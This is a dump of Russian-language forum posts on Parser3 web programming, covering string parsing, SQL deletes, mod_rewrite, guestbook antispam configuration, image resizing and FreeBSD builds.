1=A&3=E&5=B&8=B&10=A&11=A&12=R&17=BY&18=A&19=Z&20=A&21=AM&22=AX&24=A&25=A&27=B&28=A&29=A&31=A&32=S&33=AR&34=T&35=Z&37=A&38=Z&39=B&41=C&42=G&49=A&52=A&53=Z&55=A&56=Z&57=Z&58=D&61=B&63=A&65=A&66=B&67=A&68=B&69=B&71=G&73=U&74=A&76=B&77=Z&79=F&80=B&82=D&83=B&89=AH&91=Z\
\
с помощью чего её можно разобрать на таблицу вида\
1 A\
3 E\
5 B\
и т.д.\
\
с помошью ^строка.split[разделитель] не получается так как мне надо 2 столбца а не один. Подскажите пожалуйста."
"67727","[code]@main[]\
$s[1=A&3=E&5=B&8=B&10=A&11=A&12=R&17=BY&18=A&19=Z]\
\
$tReplace[^table::create{from	to\
=	^taint[^#09]\
&	^taint[^#0A]\
}]\
\
\
$t[^table::create[nameless]{^taint[as-is][^s.replace[$tReplace]]}][/code]"
"67728","[code]\
^if(^men.locate($men.age>20)){\
	$men.name\
}\
[/code]"
"67730","У меня есть несколько чекбоксов с одинаковым именем (name = photo_list_item). Нужно по нажатию кнопки удалить из БД все отмеченные чек-боксом записи. Как это лучше сделать? Мои попытки уже пол-часа заканчиваются неудачей. Стопорюсь на ошибке [b]'del_photos' class is undefine[/b].\
\
[code]$del_photos[$form:tables.photo_list_item]\
		^if($del_photos){\
			^connect[$connect_string]{\
				^del_photos:menu{\
					^vold:sql{\
						delete from photos\
						where\
							date_added='$del_photos.field'\
					}\
				}\
			}\
		}[/code]"
"67733","...\
[code]\
^vold:sql{\
	DELETE FROM photos\
	WHERE date_added IN (^del_photos.menu{'$del_photos.field'}[,])\
}\
[/code]\
..."
"67736","у меня предположение только одно: вы заменили парсер, драйвер и перезаписали конфигурационный auto.p. при этом в вашем старом auto.p была указана опция ?charset=... (вы её дописывали сами), в новом её нет."
"67738","Спасибо большое. Помимо ошибчно записанной ^del_photos.menu я, оказывается, еще и не знал, что можно писать так:\
[b]WHERE date_added IN (...)[/b]\
\
Век живи - век учись :)"
"67741","2008 не високосный? :)"
"67743","При переходе на 3.2.3 и 3.3.0 такое происходит.\
MySQL 4.мало\
Но давайте замнем для ясности - проблема судя по всему частная и легкорешаемая."
"67744","В вашем случае: \
$str[1=A&3=E&5=B]\
$result[^str2tbl[param=value&$str;=;&]]\
\
\
@str2tbl[src;tab;new][rep]\
^if(!def $tab){$tab[==]}^if(!def $new){$new[,,]}\
$rep[^table::create{from	to\
$tab	^taint[^#09]\
$new	^taint[^#0A]}]\
$result[^table::create{^untaint{^src.replace[$rep]}}]\
\
и заодно обратный оператор\
\
@tbl2str[src;tab;new][ts]\
^if(!def $tab){$tab[==]}^if(!def $new){$new[,,]}$ts[^src.columns[]]\
$result[^ts.menu{$ts.column}[$tab]${new}^src.menu{^ts.menu{$src.[$ts.column]}[$tab]}[$new]]"
"67745","как я говорил ранее, в драйвере не было и нет никакого указания дефолтной кодировки. если не указана опция charset -- драйвер не выдаёт SET CHARACTER SET серверу и не переключает перекодирование сервером. если не указана опция ClientCharset -- драйвер не пытается перекодировать сам.\
т.е. без этих опция он просто передаёт данные как есть.\
\
однако:\
0. в инсталляционном файле клиентская библиотека от MySQL 4 (была от 4)\
1. драйвер был собран с .h файлами от MySQL 4\
2. при инициализации клиентской библиотеки новый драйвер теперь передаёт константу MULTI_RESULTS или MULTI_STATEMENTS вместо 0. возможно этот 0 включал что-то в либе, и она как-то влияла на кодировки.\
\
что реально происходит я не знаю, т.к. я с подобным не сталкивался, соотв. исследовать не было возможности."
"67748","Будет здорово если вы знаете ajax и фреймворки prototype и scriptoculus. Оплата сдельная. Всем кто заинтересовался пишите на pr@ipospravka.ru"
"67749","У меня есть ссыка [code]<a href=\"/subjects/\">Предметы</a>[/code]\
\
По её нажатию должна открытся страница по адресу [code]<a href=\"/subj/index.html\">Предметы</a>[/code] (а после открытия страницы в строке браузера должно быть [b]www.mysite.com/subjects/[/b])\
\
Я включил в Апаче mod_rewrite, и добавил правило в .htaccess\
[code]RewriteEngine on\
RewriteBase /\
RewriteRule ^/subjects/$ /subj/index.html [R][/code]\
\
Но получаю одну и туже ошибку:\
[code][error] [client 127.0.0.1] File does not exist: C:/apache/test/www/subjects[/code]\
\
Вопрос: как избежать подобной ошибка? Как бы вы сделали подобное преобразование строки?"
"67752","Спасибо, это помогло. Теперь страница открывается. Но появилась другая проблема.\
\
Почему-то не грузится файл стилей к этой странице! Выглядит это вот так: \
файл /subj/index.html ссылается на /style/style.css\
но после обращения к /subjects/ в строке стилей значится адрес /subjects/style/style.css\
\
Как от этого избавится?"
"67755","путь к css был такой [code]href=\"style/style.css\"[/code]\
я решил проблему, лишь добавить еще один слеш перед style. Получилось вот так: [code]href=\"/style/style.css\"[/code]\
\
После этого rewrite перестал вмешиваться, и стили отобразились нормально."
"67757","Код такой:\
[code]\
...\
$val[]\
^if($the_table.$value){ $h.$key[^GetPID[$the_table.$value]] }\
...\
\
@GetPID[pid][h]\
# Ищем PID в базе, если нет - добавляем.\
	^MAIN:dbconnect{\
		$h[^table::sql{SELECT pid FROM part WHERE name=$pid}]\
		^if(def $h){\
			$result[$h.pid]\
		}{\
			^void:sql{INSERT INTO part (name, description, filename, cat)\
				VALUES ($pid, \"\", \"\", \"cat2\") }\
			$h[^table::sql{SELECT pid FROM part WHERE name = `$pid`}]\
			result[$h.pid]\
		}\
	}[/code]\
И выдает ошибку: [quote]'Samsung X640' invalid number (double) [number.format] [uri=/_manage/catalog/upload/, method=POST, cl=288][/quote]\
Уж и менял скобки всячески - совершенно непонятно, как заставить его воспринимать данные как строку."
"67761","При добавлении информации из формы использую веб-сервис Типограф от Студии, почему-то в ответ приходит сообщение (которое записывается в БД вместо обработанных данных): Error: unknown action or encoding\
\
Кто-нибудь знает что это означает и в чем проблема?\
\
Заранее благодарю за помощь."
"67762","Это означает ровно то, что написано: от типографа требуется что-то, что он не умеет, либо данные пришли в неизвестной ему кодировке.\
\
Покажите подробности, станет яснее."
"67764","Какой же он правильно, если то <a href=\"http://habrahabr.ru/blogs/typography/21727/\">закрывается</a>, то не закрывается."
"67765","Да все вообщем-то достаточно обычно:\
подключаю класс [code]@USE\
/classes/remotetypograf.p[/code]\
\
Если получены данные из формы, добавляю в БД перед этим вызвав Типограф и обработав данные:\
[code]\
		^if(def $form:dt && def $form:headline){\
			$remoteTypograf[^RemoteTypograf::new[]]\
			^remoteTypograf.p(0)\
			^remoteTypograf.br(0)\
  				^connect[$connect_string]{ \
    				^void:sql{INSERT into $table_name\
						(site_id, dt, title, lead, body, headline)\
					VALUES\
	        			('$site_id', '$form:dt','^remoteTypograf.processText[$form:title]','^remoteTypograf.processText[$form:lead]','^remoteTypograf.processText[$form:body]','^remoteTypograf.processText[$form:headline]')\
					}\
				<font color=\"red\">...Запись добавлена</font>\
				}\
		}\
[/code]\
\
Удивительно что на локальной машине все работает без проблем, а на сервере выдается ошибка.\
Единственное отличие версии лакальной от той что на сервере в подключении к БД, на сервере при подключении к БД указывается что нужно использовать кодировку\
[code]?charset=cp1251_koi8[/code]"
"67766","[code]'^remoteTypograf.processText[$form:title]',\
'^remoteTypograf.processText[$form:lead]',\
'^remoteTypograf.processText[$form:body]',\
'^remoteTypograf.processText[$form:headline]'[/code]\
\
Я бы на месте типографа забанил за флуд, спам и оверхед :-)"
"67767","Прошу прощения, но я не знаю как по другому.\
Не подскажите как правильно?"
"67768","Создать один XML, который и отдать типографу, а потом разделить ответ на части. Как минимум, будет работать в четыре раза быстрее."
"67770","Одна часть такая:\
\
[code]^remoteTypograf.processText[\
    <title>$form:title</title>\
    <lead>$form:lead</lead>\
    <body>$form:body</body>\
    <headline>$form:headline</headline>\
][/code]\
\
А ткнуть могу только сюда:\
http://rus.1september.ru/articlef.php?ID=200203304 :-)"
"67771","Сейчас сервис работает, и проработает теперь уже долго. Есть добрые люди - помогли. Тем более что к НГ я планирую новую версию с ещё более крутым анализатором.\
\
P.S. хотя дело ваше... если вас устраивает [url=\"http://www.typograf.ru/flog/\"]такой[/url] порядок вещей, ради бога."
"67772","Вопрос: кто что может посоветовать по удобству предложенного метода или предложить свое?\
\
1) отказался от такой конструкции:\
$var[$$method] ^var[params]\
Потому что @method выполняется в этих условиях дважды\
\
2) сделал следующее:\
[code]\
@exec[operator;data1]\
#создаем строку для выполнения\
$dp[^^$operator^[^$junk:data1^]]\
#помещаем аргумент в пространство отдельного класса, т.к. ^process не видит локальные переменные\
$junk:data1[$data1]\
#но сам оператор выполняем в контексте вызова\
^process[$caller.self]{$dp}\
#собственно, отдельный класс\
@CLASS\
junk\
@end[]\
[/code]"
"67773","[quot]\
1) отказался от такой конструкции:\
$var[$$method] ^var[params]\
Потому что @method выполняется в этих условиях дважды\
[/quot]\
\
указанная конструкция валидна, и метод при этом выполняется только один раз.\
аргументируйте то, что вы себе придумали кодом, плиз.\
\
вот моя аргументация того, что метод вызывается только единожды:\
[code]\
@main[]\
$i(0)\
$m[$m0]\
^m[1]\
=$i=\
\
\
\
@m0[param]\
^if(!def $param){^throw[;called w/o param]}\
$i($i+1)\
[/code]"
"67774","Собсно сабж. Код скопирован из auth.p Мишиного класса авторизации:\
[code]^if(def $form:email &&\
	!(^form:email.match[^^\\w+([.-]?\\w+)+\\@\\w+([.-]?\\w+)*\\.[a-z]{2,4}^$][i])){\
	^err.append{некорректный емейл}\
}[/code]\
\
Мой мозг отказывается понимать regexp, в принципе :)"
"67775","он есть в Lib.p\
сейчас match проверки на email выглядит так:\
[code]^sEmail.match[^^(?:[-a-z\\d\\+\\*\\/\\?!{}`~_%&'=^^^$#]+(?:\\.[-a-z\\d\\+\\*\\/\\?!{}`~_%&'=^^^$#]+)*)@(?:[-a-z\\d_]+\\.){1,60}[a-z]{2,6}^$][i][/code]\
\
или в вашем коде в регекспе поменяйте третий по счету слева + на *"
"67777","Здравствуйте!\
\
Для защиты гостевой книги решил использовать класс Antispam.p.\
\
Подключил сам класс (в нем  поменял только директорию хранения хеш-файла).\
Изменил страницу с формой, вставив туда вызов класса (из примера).\
\
После заполнения формы и нажатия \"Отправить\" не выдается никаких соообщений, не ошибок не сообщений об успешной отправке. Обработки тоже не происходит (должна произойти запись в БД и отправиться сообщение на эл. почту)\
В чем может быть проблема?\
\
[code]\
$oAntiSpam[^Antispam::create[\
	^rem{ *** можно включить \"старый\" стиль сообщения об ошибках, когда в exception.type *** }\
	^rem{ *** приходят значения вида \"Antispam.unknown-uid\" *** }\
	^rem{ *** в \"новом\" стиле в exception.type приходит \"Antispam\", а \"unknown-uid\" приходит в exception.source *** }\
#	$.bOldErrorStyle(1)\
\
	^rem{ *** что пишем в log файл. подробнее про константы можно посмотреть в переменной класса LOG_MASK *** }\
	$.iLogAccess(1+2+16+32)\
	\
	$.hExpires[\
		$.dBan(1)\
	]\
	\
	^rem{ *** список разрешенных referer для отображения формы и при submt-е *** }	\
	$.hReferer[\
		$.bRefuseEmpty(1)\
\
#		$.print[^table::create{sHref^#0Ahttp://$env:SERVER_NAME/}]\
#		$.exec[^table::create{sHref^#0Ahttp://$env:SERVER_NAME/}]\
	]\
	\
	$.hFields[\
		^rem{ *** при отображении формы будем ругаться если в form будут обнаружены не упоминаемые в <form/> поля *** }\
		$.bRefuseUnknown(1)\
		^rem{ *** но мы можем перечислить не упомянутые в <form/> поля, которым всё таки разрешено приходить *** }\
#		$.tAllowed[^table::create{sName^#0Arequest^#0Alang}]\
	]\
	\
	$.hFilter[\
		^rem{ *** порог срабатывания защиты *** }\
		$.dThreshold(20)\
		^rem{ *** список фильтров и их весов, которыми проверяются все поля формы при submit-е данных *** }\
\
		$.tMask[^table::create{dScore	sRegexp\
1	<a href=[^^>]+>\
3	\\sWMZ\\s\
3	Z\\d{12}\
}]\
	]\
	\
	^rem{ *** дополнительное поле с uid будет добавляться с указанными параметрами *** }\
	$.hUid[\
		$.sTag[input]\
		$.sName[uid]\
	]\
\
	^rem{ *** модифицирование action формы *** }\
	$.hAction[\
		$.sType[hidden]\
		^rem{ *** настоящая кнопка action должна быть обязательно нажата (нельза постить форму нажатием Enter-а в text) *** }\
		$.bRealRequired(1)\
\
		^rem{ *** к настоящему action будут добавлены 3 фиктивных *** }\
		$.iFakeCount(3)\
\
		^rem{ *** эти атрибуты будут добавлены к настоящему submit-у *** }\
		^rem{ *** тут вы можете использовать функции: $.value{^method[]} *** }\
		$.hRealAttr[\
			$.class[real]\
			$.value[[+]]\
		]\
\
		^rem{ *** эти атрибуты будут добавлены к фиктивным submit-полям *** }\
		$.hFakeAttr[\
			$.class[fake]\
			$.value[[-]]\
		]\
	]\
]]\
\
#^debug[]\
\
$bShowForm(1)\
\
^oAntiSpam.exec{\
	^rem{ *** проверяем все-ли в форме заполнено как надо *** }\
	^check[]\
\
#на какой адрес будет отправляться письмо\
			$to[Nickolay Nickolaev <2n@mail.ru>]\
#от какого адреса будет отправляться письмо\
			$from[feedback@$env:SERVER_NAME]\
  				^connect[$connect_string]{ \
    				^void:sql{INSERT into gb\
						(date, name, email, comment)\
					VALUES\
	        			('^now.sql-string[]','$form:name','$form:email','$form:text')\
					}\
				}\
					^connect[$connect_string]{\
						$gb[^table::sql{SELECT\
							id\
						FROM\
							gb\
						ORDER BY\
							id DESC\
						LIMIT 1\
						}]\
					}\
					$body[\
						Сообщение: $form:comment<br>\
						Имя: $form:name<br>\
						^if(def $form:email){E-mail: $form:email<br>}\
						<br><a href=\"http://$env:SERVER_NAME/control/gb.html?publish=$gb.id\">Опубликовать запись</a> <span style=\"font: 70% Arial^;\">(либо она уничтожится через 15 дней)</span>\
						<br><br>Сообщение отправлено: ^now.sql-string[]\
						<br>IP: $env:REMOTE_ADDR\
					]\
					^mail:send[ \
					    $.from[$from] \
					    $.to[$to] \
					    $.subject[Новое сообщение в гостевой книге сайта http://$env:SERVER_NAME/]\
					    $.charset[$response:charset] \
					    $.html{$body}\
				    ]\
	<p><font color=\"red\">Ваше сообщение будет рассмотрено, а затем размещено оператором в ближайшее время. Благодарим за ваш комментарий.</font></p>\
	$bShowForm(0)\
}{\
	$bShowForm(0)\
	$exception.handled(1)\
	^switch[$exception.type]{\
		^case[$oAntiSpam.sClassName]{\
			^switch[$exception.source]{\
				^case[unknown-uid]{\
					<p><font color=\"red\">Ваше сообщение уже было добавлено <b>ранее</b>.</font></p>\
				}\
	        	\
				^case[empty-uid]{\
					^rem{ *** post данных, в которых напрочь отсутствует uid - вероятно спамер *** }\
					^bye[]\
				}\
				\
				^case[fake-uid-exist]{\
					^rem{ *** post данных, в которых есть запрещенные uid - точно спамер *** }\
					^bye[]\
				}\
	        	\
				^case[no-real-uid]{\
					^rem{ *** post данных, в которых нет требуемого валидного uid - точно спамер *** }\
					^bye[]\
				}\
	        	\
				^case[referer]{\
					^rem{ *** post данных с неизвестного referer-а - точно спамер *** }\
					^bye[]\
				}\
				\
				^case[suspected-content]{\
					^rem{ *** при submit-е данных с помощью заданного фильтра обнаружили подозрительные данные - вероятно спамер *** }\
					^bye[]\
				}\
			}\
		}\
\
		^case[check.fields]{\
			<p>Не заполнены обязательные поля формы.</p>\
			$bShowForm(1)\
		}\
		\
		^case[DEFAULT]{\
			$exception.handled(0)\
		}\
	}\
}\
\
\
^if($bShowForm){\
\
	^oAntiSpam.print{\
		^rem{ *** xhtml формы. никаких дополнительных полей руками добавлять не нужно. *** }\
		<form method=\"post\">\
			<i>* Имя:</i><br />\
			<input type=\"text\" name=\"name\" value=\"$form:name\" /><br />\
    		\
			<i>E-mail:</i><br />\
			<input type=\"text\" name=\"email\" value=\"$form:email\" /><br />\
    		\
			<i>Сообщение:</i><br />\
			<textarea name=\"text\" cols=\"60\" rows=\"10\">$form:text</textarea><br />\
    		\
    		^rem{ *** ВНИМАНИЕ! Класс меняет содержимое атрибута 'name', *** }\
    		^rem{ *** поэтому вы не должны привязываться к нему в CSS/XSL и анализировать его после POST формы. *** }\
    		^rem{ *** Анализируйте $form:uid например *** }\
			<input type=\"submit\" name=\"action\" value=\"Отправить\" class=\"class\" />\
		</form>\
	}{\
		^switch[$exception.type]{\
			^case[$oAntiSpam.sClassName]{\
				$exception.handled(1)\
				^switch[$exception.source]{\
					^case[referer]{\
						^rem{ *** открытие формы с неизвестного referer-а *** }\
						^bye[]\
					}\
\
					^case[unknown-fields]{\
						^rem{ *** в form пришли неизвестные поля *** }\
						^bye[]\
					}\
				}\
			}\
		}\
	}\
\
}\
</div>\
\
</td><td width=\"15\" style=\"background:url('http://restostar.com/img/c_1.gif') #422515^; background-repeat: repeat-x^; background-position: bottom^;\">\
&nbsp^;\
</td></tr>\
</table>\
\
###########################################################################\
@check[]\
^if(!def $form:name){\
	^throw[check.fields;]\
}\
#end @check[]\
\
\
\
###########################################################################\
@bye[]\
#<p>Привет, спамер.\
#<br />Этим сообщением уведомляем, что вы очень желанный гость <a href=\"http://lleo.aha.ru/na/\">здесь</a>.</p>\
$response:status(404)\
#end @bye[]\
\
\
\
###########################################################################\
@debug[]\
#^throw[;=$env:REQUEST_METHOD=^form:fields._count[]=]\
<h2>Список UID</h2>\
<ul>\
^oAntiSpam.UIDS.menu{<li>$oAntiSpam.UIDS.sValue ($oAntiSpam.UIDS.bFake)</li>}[^#0A]\
</ul>\
\
<h2>Данные, пришедшие из формы</h2>\
^if($form:fields){\
	<ul>\
	^form:fields.foreach[sKey;vValue]{<li>$sKey=$sValue</li>}[^#0A]\
	</ul>\
}{\
	<p>Ничего нету.</p>\
}\
\
<h2>Сохранение и чтения значения в хешфайле</h2>\
^oAntiSpam.set[ZIGI]\
=^oAntiSpam.get[]=\
#end @debug[]\
[/code]"
"67778","вы отключили выдачу сообщения спамеру, выдаёте только http заголовок."
"67779","Сломался форум на парсере и антиспам защита. Требуется починить за вознаграждение"
"67782","Аська: 439-631-829"
"67783","Странно, вроде проверял.. возможно, старый опыт на \"самовзрывающихся конструкциях\".\
Работает, и в хэше работает. Спасибо."
"67784","В логе:\
[quot]\
TIME: 2008-09-17 10:10:52, METHOD: POST, URL: test.com/gb/\
TYPE: exec [fail] (8/37)\
FORM:    action='&#206;&#242;&#239;&#240;&#224;&#226;&#232;&#242;&#252;', name='sdfg', email='sg', text='sdfg'\
REFERER: 'http://restostar.com/gb/'\
VISITOR: '127.0.0.1:NULL'\
AGENT:   'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13'\
UID:  banned\
UIDS:\
[/quot] \
\
Дело в том что я не вижу влюченных механизмов защиты: форма отображается из трех полей и одной кнопки, ни скрытого поля не псефдокнопок нет. Вот сообщения и расцениваются как спам. Если я сам не могу сообщение добавить, то кто сможет тогда."
"67785","UID: banned означает, что вы уже были забанены (наверное экспериментировали), соотв. вам выдаётся немодифицированная форма, которая просто не будет добавляться в принципе.\
\
удалите файлы хешфайла, где антиспам хранит свою информацию и откройте форму заново."
"67786","1. Содержимое бинарного файла:\
$fFile[^file::load[binary;1.ххх]]\
$sTemp[$fFile.text]\
^sTemp.save[11111.txt]\
\
Результат:\
размер исходного файла 190328, а сохраненного 6. Сохранился только заголовок.\
Это лечится?\
\
2. Если лечится пункт 1, то можно ли будет работать с содержимым файла в НЕХ-режиме, т.е. брать символ и переводить его парсером в НЕХ или наоборот (функции для этого не нашел)?"
"67787","парсер не умеет работать с содержимым бинарных файлов (скопировать, переместить, переименовать, удалить -- нет проблем)."
"67788","Понятно, спасибо."
"67792","Сломался форум на парсере и антиспам защита. Требуется починить за вознаграждение\
\
Аська - 439631829"
"67793","Стою перед выбором какой апач ставить на VPS:\
\
либо 2.x (по-умолчанию) + cgi-bin вариант парсера\
\
либо 1.3 + mod_parser.\
\
Вопрос возник, т.к. страницы (даже пустые) cgi-bin варианта откликаются минимум 100-120 мс.\
\
Хотелось бы узнать, насколько вариант мода быстрее и стоит ли овчинка выделки."
"67794","Безусловно, модуль некоторые вещи оптимизирует: кеширует откомпилированные xslt-шаблоны и sql-соединения... но насколько это будет критично для вашей задачи не понятно. Я уже давно отказался от модулей, потому что удобство при обновлении версий и более простое конфигурирование перевешивает все \"возможные\" плюсы модуля да и с производительностью я проблем не наблюдаю. Миша говорил, что в Студии тоже давно пользуются cgi-вариантами."
"67796","На двух сайтах устанавливал ресайз картинок без проблем. На той же площадке на новом сайте почему-то не работает.\
\
Подключаю так\
[code]\
use[NConvert.p]\
$oImg[^NConvert::create[\
  $.sScriptPath[/../cgi-bin]\
  $.sScriptName[nconvert]\
]]\
[/code]\
\
Файлы NConvert.p и Img.p в папке /classes/\
файлу nconvert присвоены права 755\
\
\
Затем загружаю и сохраняю фото:\
\
[code]\
$last_id[^int:sql{SELECT DISTINCT last_insert_id() FROM fotos}[$.default{0}]]\
^form:foto.save[binary;/pic/catalog/${last_id}.jpg]\
^oImg.resize[/pic/catalog/${last_id}.jpg;/pic/catalog/small/${last_id}.jpg;200;200]\
[/code]\
\
Но, само фото сохраняется нормально, а вот уменьшенный файл не сохраняется (папка small существует).\
Никакой ошибки парсер не выдает.\
\
В чет тут может быть дело?"
"67797","Можете не подключать целый класс, а просто\
[code]$f[^file::exec[/../cgi-bin/nconvert;;-ratio;-q;80;-rmeta;-rtype;lanczos;-resize;120;90;/full/path/to/htdocs/photos/thumbs/photo.gif]][/code]"
"67799","Модуль даёт большую производительность при интенсивной работе с СУБД и большим количесвом xslt преобразований на высоких нагрузках"
"67801","Добрый день.\
\
Я сам программы пишу не часто, но сейчас стоит задача закачать и пропарсить из закрытой зоны поставщика описания товаров.\
\
Есть сайт поставщика и чтобы просмотреть все описания, а таковых больше 3000, требуется через html-форму вписать логин и пароль. Только после получения куки, точнее \"залогинивания\" доступны описания.\
\
Не подскажете где смотреть и как это можно реализовать? На форуме не нашел и пока даже не представляю как искать и с какой стороны подходить.\
\
На сколько могу догадаться, парсер должен получить куку, где говорится что он залогинен и каждый раз при загрузке страницы с сервера показывать ее.\
\
Подскажите пожалуйста, как это сделать?"
"67802","http://www.parser.ru/docs/lang/app1.htm\
\
Как передавать переменные через пост.\
Из заголовков выбираете куки, в переменную - и потом при всех остальных обращениях ее используете"
"67806","а если завтра потребуется переехать на ImageMagick или ещё что, править всюду, где написаны подобные вызовы?"
"67807","Временные файлы удалил.\
\
Форма стала модифицироваться, но сообщения все равно воспринимаются как спам. Идентификатор совпадат, что нет?\
\
лог:\
[quot]\
TIME: 2008-09-20 14:01:19, METHOD: GET, URL: restostar.com/gb/\
TYPE: print [ok] (1/1)\
FORM:    \
REFERER: 'http://test.com/discount/'\
VISITOR: '127.0.0.1:NULL'\
AGENT:   'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'\
UID:  D70562D3-0C07-4343-9DFA-AAA52BE713ED\
UIDS: -25B47C5E-931A-4204-962D-54D383548360, 44CF57B8-37FA-4484-A27A-2CD3172B611D, -08CA15AE-5C3F-4A2C-9502-B8430951468E, -2508815B-4C88-480D-BF82-69469664C008\
\
\
TIME: 2008-09-20 14:01:46, METHOD: POST, URL: test.com/gb/\
TYPE: exec [fail] (1/2)\
FORM:    08CA15AE-5C3F-4A2C-9502-B8430951468E='Отправить [-]', action='Отправить', name='Антон', email='anton@mail.ru', 44CF57B8-37FA-4484-A27A-2CD3172B611D='Отправить [+]', 2508815B-4C88-480D-BF82-69469664C008='Отправить [-]', uid='D70562D3-0C07-4343-9DFA-AAA52BE713ED', text='Пробное сообщение', 25B47C5E-931A-4204-962D-54D383548360='Отправить [-]'\
REFERER: 'http://test.com/gb/'\
VISITOR: '127.0.0.1:NULL'\
AGENT:   'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'\
UID:  D70562D3-0C07-4343-9DFA-AAA52BE713ED\
UIDS: -25B47C5E-931A-4204-962D-54D383548360, -2508815B-4C88-480D-BF82-69469664C008, -08CA15AE-5C3F-4A2C-9502-B8430951468E, 44CF57B8-37FA-4484-A27A-2CD3172B611D\
[/quot]"
"67808","Из указанного кода легко делается процедура а ля @create_thumb[width;height] и помещается в основной класс.\
\
Опять же, повторюсь, имхо, это удобнее, чем подключать целый класс по работе с изображениями, хоть там и есть nconvert/imagemagick."
"67809","Сегодня вам нужен только ресайз, завтра потребуется кроп, послезавтра что-то еще и придется каждый раз дописывать новые методы. А тут все уже готовое и не сильно плохое ;)\
\
О возможно расширении функционала надо думать сразу. А то потом придется переделывать все заново."
"67810","Обратил внимание что FCKeditor не отображает выведенные из БД данные, если они имеют разрывы строк.\
Если в ручную удаляю разрывы через PhpMyAdmin, выводит данные  нормально, а пытаюсь автоматизировать это удаление и ничего не выходит.\
\
Не подскажите как решить подобную проблему?\
\
[code]\
			<script type=\"text/javascript\">\
<!--\
document.location.pathname.substring(0,document.location.pathname.lastIndexOf('admin/')) ^;\
var oFCKeditor = new FCKeditor( 'body' ) ^;\
oFCKeditor.BasePath	= '/editor/' ^;\
oFCKeditor.ToolbarSet = 'Default' ^;\
oFCKeditor.Height	= 300 ^;\
^if($edit){oFCKeditor.Value	= '^untaint[as-is]{^current_table.body.match[\\n|\\t][g]{}}}' ^;}\
oFCKeditor.Create() ^;\
//-->\
			</script>\
[/code]"
"67811","[code]<script type=\"text/javascript\">\
	window.onload = function(){\
	var oFCKeditor = new FCKeditor( 'MyTextarea' ) ^;\
	oFCKeditor.Config[\"EnterMode\"] = 'br' ^;\
	oFCKeditor.BasePath = \"fckeditor/\" ^;\
	oFCKeditor.Height	= 400 ^;\
	oFCKeditor.ReplaceTextarea() ^;\
	}\
</script>[/code]\
[code]<textarea name=\"MyTextarea\">$page.content</textarea>[/code]\
попробуйте вырезать разрывы строк при добавлении данных"
"67813","дык а зачем у вас отправляются те поля, которые отправляться не должны?\
я про 25B47C5E-931A-4204-962D-54D383548360, 08CA15AE-5C3F-4A2C-9502-B8430951468E, 2508815B-4C88-480D-BF82-69469664C008\
\
видите, перед ними стоят '-' -- эти поля ни в коем случае не должны придти серверу, прочитайте ещё раз идею данного антиспам механизма в примерах."
"67815","Конечно, и отвёртку можно использовать как стамеску, но...\
\
Воспользуйтесь специально заточенным под вашу задачу инструментом - http://www.httrack.com/page/1/en/index.html например. Он вам поможет записать авторизационный cookie, и вежливо, не кладя обдираемый вебсервер, выкачать в нужном объёме нужные страницы. Потом локально вдумчиво их распарсите."
"67816","Аналогичная проблема.\
ОС FreeBSD 7.0\
Ошибка такая: \
\
/libexec/ld-elf.so.1: Shared object \"libcrypt.so.3\" not found, required by \"parser3.cgi\"\
\
Подскажите пути решения... Не устанавливать же из-за этого FreeBSD 6.X"
"67817","собрать из исходников?\
\
попробовать последнюю бета версию? (её я собирал и под freebsd7, однако не факт, что собранное у нас заведётся на вашей системе, однако если заведётся -- можно будет обдумать выкладывание бинарников и под 7)"
"67818","При попытке собрать выдает следующую ошибку...\
\
checking for libgc... no\
configure: error: please specify path to libgc: --with-shared-gc OR --with-static-gc"
"67820","Поиском невозможно найти, дайте ключевое слово.\
В одном посте нашел ссылку на новостную ленту, но там уже нет этой информации и наверное давно.\
А по запросу \"safe mode\" проще найти игру, т.к. предлагает около 200 страниц..."
"67821","Вот что-то проклюнулось:\
\
SELECT * FROM aktar_structure WHERE path IN ('/') ORDER BY level ASC \
Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (latin1_swedish_ci,COERCIBLE) for operation ' IN '\
\
При указании кодировки, естественно, ошибка не появляется."
"67822","... Вы пытаетесь собрать \"вручную\", а не используя скрипты для автоматизации этого процесса: build-with-xml, build-without-xml. В этом случае Вам прийдется собрать еще и все необходимые библиотеки, но лучше этого не делать, а использовать скриптики. :)\
\
p.s. На FreeBSD необходимо раскоментировать в скриптах строчку:\
[code]\
options=\"$options --with-dynamic-stdcpp\" \
[/code]"
"67823","проблема была на freebsd6, где по умолчанию парсер собирается static, а _драйвера_ почему-то dynamic, из-за этого возникают проблемы. однако мы собрали и выложили драйвера, собранные static с помощью ручного шаманства (видно по их размеру)."
"67824","Собственно ничего плохого в сборке с динамической линковкой нет - по мне так одни плюсы. :)"
"67825","Не могу понять почему избыточные поля отправляются, ведь они действительно скрыты. Отображается одна кнопка, а не все пять. Нажимаеться она мышься, а не энтором.\
Как сделать чтобы эти поля не отправлялись?"
"67830","К сожалению и у меня эта проблема до сих пор не решена.\
Возможно сотрудники студии пользуются FreeBSD 7.0 обновленной с 6.3, тогда возможен вариант, что старые библиотеки остались и могут быть использованы.\
\
Моя проблема все еще имеет место быть, все также жду сборку на свежей FreeBSD 7."
"67835","эта гостевая довольно проста и там нет возможности удаления сообщений. а это могло бы более помочь разобраться во взаимодействии парсера и базы данных.\
я пробовал сам сделать такую возможность, но из этого ничего не вышло, т.к. я ещё новичок в парсере.\
может быть кто-нибудь делал уже это и мог бы привести пример кода?"
"67836","вам помогут и укажут на ошибки."
"67837","http://oleg.volchkov.net/download/parser/parser3_3_0_freebsd70_cgi_xml_with_sql.tar.gz\
\
В архиве Парсер 3.3.0 с поддержкой xml, драйверы для MySQL, PostreSQL, SQLite и конфигурационные файлы."
"67838","Есть такая задумка.\
щас делаю меню навигации и хочу чтобы ширина ячейки была равна самому длинному имени.\
\
я так понимаю здесь с циклом. нужно пробежаться по всей таблице и сравнить каждоую длину строки со след и найти максимальную. вопрос как это сделать ?\
\
может кто подскажет ?"
"67839","решать проблемы вёрстки с помощью языка программирования -- как-то неправильно (имхо).\
\
И вообще, например, в таблице ширина ячейки и так будет равна самому длинному слову/фразе в столбце. Элементарно делается.\
Для div'ов тоже не проблема реализовать.\
Или речь о горизонтальном меню? Ну, тоже решается:-)\
\
Но, если всё-таки без парсера никуда... Вы сами пробовали написать этот простой цикл? Покажите результаты, поправим, если что."
